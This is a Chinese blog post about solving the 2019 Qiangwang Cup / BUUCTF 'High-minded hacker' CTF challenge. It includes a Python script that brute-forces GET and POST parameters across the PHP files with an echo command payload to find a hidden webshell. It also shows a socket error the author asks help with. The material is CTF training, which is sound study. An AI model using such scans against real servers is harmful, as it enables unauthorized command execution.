BUUCTF/強(qiáng)網(wǎng)杯 高明的黑客

訪問(wèn)/www.tar.gz得到源代碼
參考了別人的writeup,用wamp或者phpstudy搭建本地環(huán)境本地跑一下
基本原理是暴力破解,把每個(gè)文件里可能成為真正參數(shù)的參數(shù)都跑一下,直到發(fā)現(xiàn)那個(gè)可以訪問(wèn)的參數(shù)為止
那么如何測(cè)試?
對(duì)于get:構(gòu)造?[參數(shù)]=echo "xxx"
對(duì)于post:構(gòu)造data:{[參數(shù)]:=echo"xxx"}

import os
import re
import requests as r

files = os.listdir(r'C:\wamp\www\src')
method = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")#$_[GEPOST]{3,4}[.*]
print(method)
flag = 0
for i in files:
    p = 'C:\\wamp\\www\\src\\' + i
    content = open(p, 'r', encoding='UTF-8').read()
    #print(i)
    #print(content)
    print('*' * 20 + i + '*' * 20)
    gepost = method.findall(content)
    #print(gepost)
    url = 'http://127.0.0.1/src/'
    cmd = '=echo "cryscat";'
    for j in gepost:
        if 'GET' in j:
            pdget = re.findall(r"'(.*)'", j)[0]
            urlg = url + i + '?' + pdget + cmd
            #print(urlg)
            res = r.get(urlg)
            print('------> ' + pdget)
            if 'cryscat' in res.text:
                print('Success!!! ------> ' + urlg)
                flag = 1
                break
        if 'POST' in j:
            pdpost = re.findall(r"'(.*)'", j)[0]
            data = {
                pdpost: cmd
            }
            urlp = url + i
            #print(urlp)
            res = r.post(urlp, data=data)
            print('------> ' + pdpost)
            if 'cryscat' in res.text:
                print('Success!!! ------> ' + urlp + '  ' + data)
                flag = 1
                break

    if flag == 1:
        break

代碼應(yīng)該沒(méi)問(wèn)題,但是從報(bào)錯(cuò)

Traceback (most recent call last):
  File "C:\Python36\lib\site-packages\urllib3\connection.py", line 141, in _new_conn
    (self.host, self.port), self.timeout, **extra_kw)
  File "C:\Python36\lib\site-packages\urllib3\util\connection.py", line 83, in create_connection
    raise err
  File "C:\Python36\lib\site-packages\urllib3\util\connection.py", line 73, in create_connection
    sock.connect(sa)
OSError: [WinError 10048] 通常每個(gè)套接字地址(協(xié)議/網(wǎng)絡(luò)地址/端口)只允許使用一次。

找了一圈也沒(méi)解決,linux下沒(méi)有測(cè)試,求大佬幫助。

參考文章:
https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20190530-19qwb.html
https://blog.csdn.net/qq_26406447/article/details/90690453
https://mochazz.github.io/2019/05/27/2019%E5%BC%BA%E7%BD%91%E6%9D%AFWeb%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/
http://cdusec.happyhacking.top/?post=77
https://skysec.top/2019/05/25/2019-%E5%BC%BA%E7%BD%91%E6%9D%AFonline-Web-Writeup/#%E9%AB%98%E6%98%8E%E7%9A%84%E9%BB%91%E5%AE%A2

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容